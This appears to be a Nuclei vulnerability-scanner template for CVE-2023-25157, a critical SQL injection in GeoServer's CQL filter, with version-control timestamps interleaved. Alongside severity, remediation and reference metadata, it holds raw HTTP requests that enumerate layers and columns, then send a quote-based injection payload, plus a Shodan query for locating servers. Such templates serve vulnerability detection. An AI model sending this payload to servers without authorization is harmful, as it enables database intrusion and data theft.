2023-06-07 05:58:03 +00:00
id : CVE-2023-25157
info :
name : GeoServer OGC Filter - SQL Injection
author : ritikchaddha,DhiyaneshDK,iamnoooob,rootxharsh
severity : critical
description : |
GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoServer includes support for the OGC Filter expression language and the OGC Common Query Language (CQL) as part of the Web Feature Service (WFS) and Web Map Service (WMS) protocols. CQL is also supported through the Web Coverage Service (WCS) protocol for ImageMosaic coverages. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should disable the PostGIS Datastore *encode functions* setting to mitigate ``strEndsWith``, ``strStartsWith`` and ``PropertyIsLike `` misuse and enable the PostGIS DataStore *preparedStatements* setting to mitigate the ``FeatureId`` misuse.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
2023-09-06 11:43:37 +00:00
remediation : |
Apply the latest security patches or updates provided by the GeoServer project to fix the SQL Injection vulnerability.
2023-06-07 05:58:03 +00:00
reference :
- https://twitter.com/parzel2/status/1665726454489915395
- https://nvd.nist.gov/vuln/detail/CVE-2023-25157
2023-06-07 06:12:54 +00:00
- https://github.com/win3zz/CVE-2023-25157
- https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf
2023-07-11 19:49:27 +00:00
- https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d
2023-06-07 05:58:03 +00:00
classification :
2023-06-07 06:12:54 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2023-06-07 05:58:03 +00:00
cve-id : CVE-2023-25157
2023-06-07 06:12:54 +00:00
cwe-id : CWE-89
2024-01-14 13:49:27 +00:00
epss-score : 0.41862
epss-percentile : 0.96974
2023-09-06 11:43:37 +00:00
cpe : cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*
2023-06-07 05:58:03 +00:00
metadata :
2023-06-21 21:03:53 +00:00
verified : "true"
2023-09-06 11:43:37 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : osgeo
product : geoserver
2023-09-06 11:43:37 +00:00
shodan-query : title:"geoserver"
2024-01-14 09:21:50 +00:00
tags : cve2023,cve,geoserver,ogc,sqli,intrusive,osgeo
2023-06-07 05:58:03 +00:00
http :
- raw :
- |
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host : {{Hostname}}
- |
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=50&outputFormat=csv HTTP/1.1
Host : {{Hostname}}
- |
2023-06-09 13:15:43 +00:00
@timeout : 30s
2023-06-07 05:58:03 +00:00
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=strStartswith({{column}},%27%27%27%27)=true HTTP/1.1
Host : {{Hostname}}
stop-at-first-match : true
iterate-all : true
2023-07-11 19:49:27 +00:00
2023-06-07 05:58:03 +00:00
matchers-condition : and
matchers :
- type : word
part : body_3
words :
2023-06-07 06:26:24 +00:00
- "SQL SELECT"
2023-06-07 05:58:03 +00:00
2023-06-07 06:12:54 +00:00
- type : word
part : header_3
words :
- text/xml
2023-06-07 05:58:03 +00:00
extractors :
- type : regex
name : name
2023-07-11 19:49:27 +00:00
group : 1
2023-06-07 05:58:03 +00:00
regex :
- '<FeatureType><Name>(.*?)<\/Name><Title>'
internal : true
2023-07-11 19:49:27 +00:00
part : body_1
2023-06-07 05:58:03 +00:00
- type : regex
name : column
2023-07-11 19:49:27 +00:00
group : 1
2023-06-07 05:58:03 +00:00
regex :
- 'FID,([aA-zZ_]+),'
internal : true
2023-07-11 19:49:27 +00:00
part : body_2
2024-01-26 08:31:11 +00:00
# digest: 4b0a00483046022100a3222cc7b1d0a9ddb3db8e1edf4d46d53dc3d1e5c5183e91d231d4b6d2965c23022100866dde35ab00b7554d055458ac9c8e99054504e1b114976d1d16b238249aa447:922c64590222798bb761d5b6d8e72950